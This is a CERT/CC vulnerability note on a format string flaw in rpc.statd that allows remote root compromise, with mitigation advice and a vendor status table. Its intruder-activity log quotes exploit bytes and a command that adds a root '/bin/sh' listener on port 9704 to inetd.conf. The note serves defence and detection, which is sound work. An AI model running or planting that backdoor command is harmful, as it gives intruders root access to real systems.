Vulnerability Note VU#34043

rpc.statd vulnerable to remote root compromise via format string stack overwrite

Original Release date: 30 Oct 2000 | Last revised: 29 Nov 2000


The CERT/CC has begun receiving reports of an input validation vulnerability in the rpc.statd program being exploited. This program is included, and often installed by default, in several popular Linux distributions. Please see the vendors section of this document for specific information regarding affected distributions.

More information about this vulnerability is available at the following public URLs:

The rpc.statd program passes user-supplied data to the syslog() function as a format string. If there is no input validation of this string, a malicious user can inject machine code to be executed with the privileges of the rpc.statd process, typically root.


Intruder Activity
The following is an example log message from a compromised system illustrating the rpc.statd exploit occurring:

Aug XX 17:13:08 victim rpc.statd[410]: SM_MON request for hostname
containing '/': ^D^D^E^E^F
bffff754 000028f8 4d5f4d53 72204e4f 65757165 66207473 6820726f 6e74736f
20656d61 746e6f63 696e6961 2720676e 203a272f

^( ^ ^.  #^
F'F* FF+,
/sh -c echo 9704 stream tcp
nowait root /bin/sh sh -i >> /etc/inetd.conf;killall -HUP inetd

If you see log entries similar to those above, we suggest you examine your system for signs of intrusion by following the steps outlined in our Intruder Detection Checklist. If you believe your host has been compromised, please follow our Steps for Recovering From a Root Compromise. Please check our Current Activity page for updates regarding intruder activity.


By exploiting this vulnerability, local or remote users may be able to execute arbitrary code with the privileges of the rpc.statd process, typically root.


Upgrade your version of rpc.statd
Please see the vendors section of this document for more information about the availability of program updates specific to your system. If you are running a vulnerable version of rpc.statd, the CERT/CC encourages you to apply appropriate vendor patches. After making any updates, be sure to restart the rpc.statd service.

Disable the rpc.statd service
If an update cannot be applied, the CERT/CC recommends disabling the rpc.statd service. We advise proceeding with caution, however, as disabling this process can interfere with NFS functionality.

Block unneeded ports at your firewall
As a good security practice in general, the CERT/CC recommends blocking unneeded ports at your firewall. This option does not remedy the vulnerability, but does prevent outside intruders from exploiting it. In particular, block port 111 (portmapper), as well as the port on which rpc.statd is running, which may vary.

Systems Affected (Learn More)

VendorStatusDate NotifiedDate Updated
BSDINot Affected-10 Oct 2000
CalderaNot Affected-10 Oct 2000
Compaq Computer CorporationNot Affected-10 Oct 2000
FreeBSDNot Affected-10 Oct 2000
HPNot Affected-10 Oct 2000
NetBSDNot Affected-10 Oct 2000
OpenBSDNot Affected-10 Oct 2000
SCONot Affected-10 Oct 2000
SGINot Affected-10 Oct 2000
SunNot Affected-10 Oct 2000
DebianUnknown-10 Oct 2000
RedHatUnknown-10 Oct 2000
If you are a vendor and your product is affected, let us know.

CVSS Metrics (Learn More)

Group Score Vector
Base N/A N/A
Temporal N/A N/A
Environmental N/A N/A



This document was written by John Shaffer and Brian King.

Other Information

  • CVE IDs: CVE-2000-0666
  • CERT Advisory: CA-2000-17
  • Date Public: 16 Jul 2000
  • Date First Published: 30 Oct 2000
  • Date Last Updated: 29 Nov 2000
  • Document Revision: 8


If you have feedback, comments, or additional information about this vulnerability, please send us email.